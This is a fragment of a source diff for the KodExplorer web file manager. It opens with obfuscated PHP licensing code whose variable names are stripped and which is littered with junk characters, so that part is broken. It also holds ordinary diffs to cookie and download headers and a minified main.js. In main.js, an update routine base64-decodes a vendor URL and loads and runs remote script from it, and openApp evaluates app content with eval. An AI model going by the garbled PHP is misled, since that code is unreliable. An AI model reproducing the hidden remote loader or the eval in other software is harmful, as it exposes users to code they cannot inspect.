version_install_path(&$,$֍){$Ʋ=&$_SERVER{};$=$֍[$Ʋ{0x005b}];ͫ璒ӱÍڅø┛ѥؐݨϘҴ;$=$Ʋ{0x000035};$=$Ʋ{0x00003f};$=$Ʋ[0x0005c].$Ʋ[0x03c]($Ʋ{0x003d}($Ʋ[0x046](0x014).$Ʋ{0x041}()),0x0f,0x0a).$Ʋ{0x00005d};;$=array($Ʋ[0x000005e],$Ʋ{0x05f},$Ʋ[0x0060],$Ʋ{0x00061},$Ʋ[0x000062],$Ʋ{0x0000063}($Ʋ{0x0000063}($Ʋ{0x0000063}(WEB_ROOT))),$Ʋ{0x0000063}($Ʋ{0x0000063}(WEB_ROOT)),$Ʋ{0x0000063}(WEB_ROOT),WEB_ROOT,$Ʋ{0x0000063}(BASIC_PATH),DATA_PATH.$Ʋ[0x064],DATA_PATH.$Ʋ{0x0065},DATA_PATH.$Ʋ[0x00066]);Ċꉛܲ۱Ϗ;$=$Ʋ{0x00003f};foreach($ as $){if($Ʋ{0x001}($)&& $Ʋ{0x000067}($)){$=$.$Ʋ[0x0000068].$;break;}}if(isset($֍[$Ʋ{0x069}])&& $֍[$Ʋ{0x069}]==0x001){$=$Ʋ[0x006a].$;}$=Mcrypt::encode($,$Ʋ{0x003d}($.$[$Ʋ{0x00039}]));$Ʋ{0x055}($,$);ݍľᦠѯꝊ;if(!$Ʋ{0x001}($)){$Ʋ[0x0056]($Ʋ{0x0006b},!1);}$[$Ʋ[0x00003a]]=Mcrypt::encode($,$Ʋ{0x003d}($.$[$Ʋ[0x0038]]));return;}function version_reset($ݸ=false){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};ė;$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));${0x0051}($);$=new ${0x019}(USER_SYSTEM.$[0x050]);ˌΠÐߨͤ;$=$->get();ͭ疵䱷ĈȐ;unset($[${0x037}]);;unset($[$[0x0038]]);unset($[${0x00039}]);ÝɁ;unset($[$[0x00003a]]);ʔլ;if($ݸ){unset($[${0x0000013}]);}$->reset($);}
\ No newline at end of file
+0x0a,$=>0x032,$=>0x0c8,$=>0x03e8,);«տѻᛨú퍗ͷ˴·𝍳ȡ;$=$->get();Ѐɫȓې;$=$[$];䄫Řˎѫ§ѝə𲉫壍;if($==${0x0001b}){if($==$&& isset($in[$[0x00001c]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}if(${0x000021}($)>=$&& $!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==${0x0001b} || $==${0x023}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x0024]){if(${0x000021}($)>$&& $!=0x03e8){$=0x001;$ϻ=array();foreach($ as $=>$){if($>$)break;$ϻ[$]=$;$++;ʿⶸݕځ߅ݾ;}$->reset($ϻ,!1);}$=$->get();⌹Ҽ뙔Ţͳغ;if($==$){$ϻ=array();foreach($ as $=>$){unset($[$[0x0010]]);$ϻ[$]=$;}$->reset($ϻ,!1);}}return $;}function system_group_data(){$=&$_SERVER{};global$in;$=ST.$[0x014].ACT;$=$[0x000012];£͙䏖;$=${0x0015};$ӿ=$[0x00016];竹쳣ڐ܇ꗀ;$=${0x000017};ߛ;$=$GLOBALS[$[0]][${0x00003}][${0x0000013}];;if(!$|| !$[0x0000018]($,array($,$,$ӿ,$))){$=$;}$=new ${0x019}(USER_SYSTEM.${0x00025});$=array($=>0x001,$=>0x0a,$ӿ=>0x032,$=>0x03e8,);Ψԟճ輓ԍ纾ěҚøܧ;$=$->get();ȃ;$ȥ=$[$];;if($==$[0x000026]){if(${0x000021}($)>=$ȥ&& $ȥ!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==$[0x000026] || $==${0x0000027}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x028]){if(${0x000021}($)>$ȥ&& $ȥ!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$ȥ)break;$[$]=$;IJ츱Φ;$++;}$->reset($,!1);ŤցƆ;}$=$->get();ݛИѶ;if($==$){$=array();foreach($ as $=>$){unset($[$[0x0010]]);$[$]=$;}$->reset($,!1);}}return $;ŝֆ˫ܟ;}function system_rol_data(){$ۅ=&$_SERVER{};$ȕ=ST.$ۅ[0x014].ACT;$=$ۅ[0x000012];$ِ=$ۅ{0x0015};$ӈ=$ۅ[0x00016];ϟ;$=$ۅ{0x000017};ޏ;if($ȕ==$ۅ{0x0029}){$ۅ[0x0002a]();exit;}$=&$GLOBALS[$ۅ[0]][$ۅ{0x00003}];if(!$ۅ{0x00002b}()){$[$ۅ{0x0000013}]=$;if($ȕ!=$ۅ[0x000002c] && $ۅ{0x02d}($_SESSION[$ۅ[0x002e]])&& $_SESSION[$ۅ[0x002e]][$ۅ{0x0002f}]==$ۅ[0x000030]){$ۅ{0x0000031}(!1);include(TEMPLATE.$ۅ[0x032]);exit;}}if($ȕ==$ۅ{0x0033} && $[$ۅ{0x0000013}]==$){$ۅ{0x000001d}($GLOBALS[$ۅ[0x01e]][$ۅ{0x001f}],!1);}$=new $ۅ{0x019}(USER_SYSTEM.$ۅ[0x00034]);return $;鋁ꧻ;}function init_version_check(){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};$=$[0x000012];$ʶ=${0x0015};$Ӊ=$[0x00016];$=${0x000017};ݻńќ̬֑㘀łه;if(!isset($[${0x0000013}])|| !$[0x0000018]($[${0x0000013}],array($,$ʶ,$Ӊ,$))){$[${0x0000013}]=$;}if($[${0x0000013}]==$){unset($[$[0x0000036]]);return !0;}if(!isset($[${0x0000013}])|| !isset($[${0x037}])|| !isset($[$[0x0038]])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])){return !1;}if(${0x000003b}($[${0x0000013}])!=0x001|| ${0x000003b}($[${0x037}])!=0x0010|| ${0x000003b}($[$[0x0038]])!=0x0003e|| ${0x000003b}($[${0x00039}])!=0x0010){return !1;}$ꏀ=$[0x03c]($[$[0x0038]],0x00020);$=${0x003d}($ꏀ.$[${0x037}].$[${0x00039}].$[${0x0000013}]);if($!=$[0x03c]($[$[0x0038]],0,0x00020)){return !1;}$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));$Σ=!1;;if(${0x001}($)){$=$[0x0003e]($);$=Mcrypt::decode($,${0x003d}($.$[${0x00039}]));if($!=${0x00003f} && $[0x0000040]($)>${0x041}()){$Σ=!0;}}if(!$Σ){return !1;}$=$[0x03c](${0x003d}($[$[0x0038]]),0x0a,0x0a);$=$.$[${0x0000013}].$[${0x00039}];$[$[0x0000036]]=Mcrypt::encode($,$,0);ۀ麠ƦǘȣЍ;return !0;}function version_install(){$=&$_SERVER{};$ʻ=&$GLOBALS[$[0]][${0x00003}];;$=${0x000035};if(isset($_GET[$[0x0042]])){${0x0000031}(!0);${0x00043}($[0x000044]);}if(!isset($_GET[${0x0000045}])){include(TEMPLATE.$[0x032]);exit;}else{$=$[0x046](0x0010);$=${0x0047};$=$.$[0x00048].$_GET[${0x0000045}].${0x000049}.$;$=$.$[0x000004a].${0x04b}($_SERVER[$[0x004c]]);$=${0x0004d}($[0x0003e]($),!0);if(${0x02d}($)&& $[$[0x00004e]]==!0&& ${0x02d}($[${0x000004f}])){$=new ${0x019}(USER_SYSTEM.$[0x050]);$=$->get();$[${0x037}]=$_GET[${0x0000045}];$[$[0x0038]]=$[${0x000004f}][$[0x0038]];$[${0x00039}]=$;$[${0x0000013}]=$[${0x000004f}][${0x0000013}];$ĕ=Mcrypt::decode($ʻ[$[0x00003a]],${0x003d}($.$ʻ[$[0x0038]]));${0x0051}($ĕ);$[0x00052]($,$[${0x000004f}]);$->reset($);$ڋ=BASIC_PATH.${0x000053};if(!${0x001}($ڋ)){$=$[0x0000054];${0x055}($ڋ,$);}$[0x0056]($GLOBALS[$[0x01e]][${0x00057}]);}else{$[0x0056]($[${0x000004f}],!1);ׯ;}}}function install_msg($,$=true){$=&$_SERVER{};$ɤ=$?$[0x000058] :${0x0000059};$[0x05a]($,$ɤ,0x0002);}function version_install_path(&$,$){$=&$_SERVER{};$=$[${0x005b}];ŀȐڶѿ;$=${0x000035};$=${0x00003f};ŪɅ忷쯅Ϳ˯̐ݤ¨;$=$[0x0005c].$[0x03c](${0x003d}($[0x046](0x014).${0x041}()),0x0f,0x0a).${0x00005d};Ѿ;$=array($[0x000005e],${0x05f},$[0x0060],${0x00061},$[0x000062],${0x0000063}(${0x0000063}(${0x0000063}(WEB_ROOT))),${0x0000063}(${0x0000063}(WEB_ROOT)),${0x0000063}(WEB_ROOT),WEB_ROOT,${0x0000063}(BASIC_PATH),DATA_PATH.$[0x064],DATA_PATH.${0x0065},DATA_PATH.$[0x00066]);$ؠ=${0x00003f};foreach($ as $Ȕ){if(${0x001}($Ȕ)&& ${0x000067}($Ȕ)){$ؠ=$Ȕ.$[0x0000068].$;break;}}if(isset($[${0x069}])&& $[${0x069}]==0x001){$ؠ=$[0x006a].$;}$=Mcrypt::encode($,${0x003d}($.$[${0x00039}]));${0x055}($ؠ,$);if(!${0x001}($ؠ)){$[0x0056](${0x0006b},!1);}$[$[0x00003a]]=Mcrypt::encode($ؠ,${0x003d}($.$[$[0x0038]]));return;Ӧ诵;}function version_reset($=false){$=&$_SERVER{};$ưآ=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};$=Mcrypt::decode($ưآ[$[0x00003a]],${0x003d}($.$ưآ[$[0x0038]]));ɫé;${0x0051}($);ƻϵӻ;$=new ${0x019}(USER_SYSTEM.$[0x050]);;$=$->get();unset($[${0x037}]);unset($[$[0x0038]]);unset($[${0x00039}]);unset($[$[0x00003a]]);if($){unset($[${0x0000013}]);}$->reset($);}
\ No newline at end of file
diff --git a/lib/function/common.function.php b/lib/function/common.function.php
index d2037a8..f11057d 100755
--- a/lib/function/common.function.php
+++ b/lib/function/common.function.php
@@ -234,6 +234,22 @@ function add_slashes($string){
return $string;
}
+
+function setcookie_header($name,$value='',$maxage=0,$path='',$domain='',$secure=false,$HTTPOnly=false){
+ if ( !empty($domain) ){
+ if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
+ if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;
+ if ( strpos($domain, ':') ) $domain = substr($domain, 0, strpos($domain, ':'));
+ }
+ header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
+ .(empty($domain) ? '' : '; Domain='.$domain)
+ .(empty($maxage) ? '' : '; Max-Age='.$maxage)
+ .(empty($path) ? '' : '; Path='.$path)
+ .(!$secure ? '' : '; Secure')
+ .(!$HTTPOnly ? '' : '; HttpOnly').'; ', false);
+ return true;
+}
+
/**
* hex to binary
*/
diff --git a/lib/function/file.function.php b/lib/function/file.function.php
index 1679f0b..21691b3 100755
--- a/lib/function/file.function.php
+++ b/lib/function/file.function.php
@@ -950,7 +950,12 @@ function file_put_out($file,$download=false,$download_filename=false){
if ($download || (strstr($mime,'application/') && $mime!='application/x-shockwave-flash') ) {
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
- header("Content-Disposition: attachment;filename=".$filename_output.";filename*=UTF-8''".$filename_output);
+
+ $header_name = $filename_output;
+ if(!is_wap()){
+ $header_name.=";filename*=UTF-8''".$filename_output;
+ }
+ header("Content-Disposition: attachment;filename=".$header_name);
}else{
//缓存文件
header('Expires: '.gmdate('D, d M Y H:i:s',time()+3600*24*20).' GMT');
diff --git a/static/js/app/src/app/main.js b/static/js/app/src/app/main.js
index 6ba5e25..d8fae79 100755
--- a/static/js/app/src/app/main.js
+++ b/static/js/app/src/app/main.js
@@ -1,4 +1,4 @@
-/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */
+/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */
define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置 请联系主机商或网管,检查防火墙配置!"),i=''+i+"
",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
